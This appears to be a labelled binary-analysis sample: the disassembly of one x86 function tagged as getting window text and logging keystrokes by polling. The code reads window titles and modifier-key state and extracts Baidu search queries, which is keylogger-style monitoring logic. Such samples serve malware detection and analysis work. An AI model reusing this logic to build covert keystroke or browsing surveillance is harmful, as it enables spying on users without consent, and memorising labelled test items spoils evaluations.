Function at 0x404fa0
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
mov eax, 0x4128
call fcn.004f3f00
push ebx
push ebp
push esi
mov edx, ecx
push edi
xor esi, esi
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x1062]
mov word [esp + 0x1060], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [edx + 0x3ef4]
mov dword [esp + 0x14], edx
cmp eax, esi
je 0x404fff
lea ecx, [esp + 0x18]
push 0x824
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
call ebx
mov si, ax
push 0x12
shr esi, 8
and esi, 0xff
call ebx
mov di, ax
push 0x10
shr edi, 8
and edi, 0xff
call ebx
shr eax, 8
and eax, 0xff
mov ebx, 0x53ada0
test esi, esi
mov ebp, ebx
je 0x40505c
test edi, edi
je 0x40504c
mov ebx, 0x5cef64
mov ebp, 0x5cf164
jmp 0x40507a
test eax, eax
je 0x40506c
mov ebx, 0x5ceb64
mov ebp, 0x5ced64
jmp 0x40507a
test eax, eax
je 0x40506c
mov ebx, 0x5ce764
mov ebp, 0x5ce964
jmp 0x40507a
test esi, esi
je 0x40507a
mov ebx, 0x5ce364
mov ebp, 0x5ce564
lea edx, [esp + 0x18]
push ebp
push edx
push ebx
push 0x50c360
lea eax, [esp + 0x1070]
push 0x823
push eax
call dword [sym.imp.MSVCRT.dll__snwprintf]
mov edi, dword [esp + 0x2c]
xor esi, esi
add esp, 0x18
cmp word [edi + 0x3f8c], si
lea eax, [edi + 0x3f8c]
je 0x4050e5
cmp word [ebx], si
jne 0x4050e5
cmp word [ebp], si
jne 0x4050e5
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
lea edx, [esp + 0x18]
mov ecx, edi
push esi
push 1
push edx
call fcn.004043f0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4128
ret
lea eax, [esp + 0x1060]
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
mov ebx, dword [sym.imp.MSVCRT.dll_wcsstr]
lea edx, [esp + 0x20]
push str.baidu.com_s
push edx
call ebx
add esp, 0x10
test eax, eax
jne 0x405124
lea eax, [esp + 0x18]
push str.baidu.com_baidu_
push eax
call ebx
add esp, 8
test eax, eax
je 0x405196
lea ecx, [esp + 0x18]
push 0x50c31c
push ecx
call ebx
mov edi, eax
add esp, 8
cmp edi, esi
je 0x405196
mov ebp, dword [sym.imp.MSVCRT.dll_wcscat]
mov edx, edi
lea eax, [esp + 0x18]
lea ecx, [esp + 0x1060]
sub edx, eax
push 0x50c300
sar edx, 1
push ecx
mov word [esp + edx*2 + 0x1068], si
call ebp
add edi, 6
push 0x50c2fc
push edi
call ebx
add esp, 0x10
cmp eax, esi
je 0x405180
lea edx, [esp + 0x1060]
push eax
push edx
call ebp
add esp, 8
lea eax, [esp + 0x1060]
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push eax
mov dword [esp + 0x18], esi
call fcn.00493ac0
mov ecx, eax
call fcn.00493d30
mov edx, eax
cmp edx, 0xffffffff
je 0x405229
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x20aa]
mov word [esp + 0x20a8], si
rep stosd dword es:[edi], eax
push 1
push esi
stosw word es:[edi], ax
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x20b0]
push 0x823
push ecx
push eax
push edx
call fcn.00493ac0
mov ecx, eax
call fcn.00493fa0
lea ecx, [esp + 0x20a8]
lea edx, [esp + 0x1060]
push ecx
push 0x50c180
push 0x823
push edx
call dword [sym.imp.MSVCRT.dll__snwprintf]
lea eax, [esp + 0x1070]
lea ecx, [esp + 0x28]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 0x18
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x30f2]
mov word [esp + 0x30f0], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x30f0]
push 0x823
lea eax, [esp + 0x1c]
push edx
push eax
call fcn.004b9bc0
add esp, 0xc
lea ecx, [esp + 0x18]
push esi
push 1
push ecx
mov ecx, dword [esp + 0x20]
call fcn.004043f0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4128
ret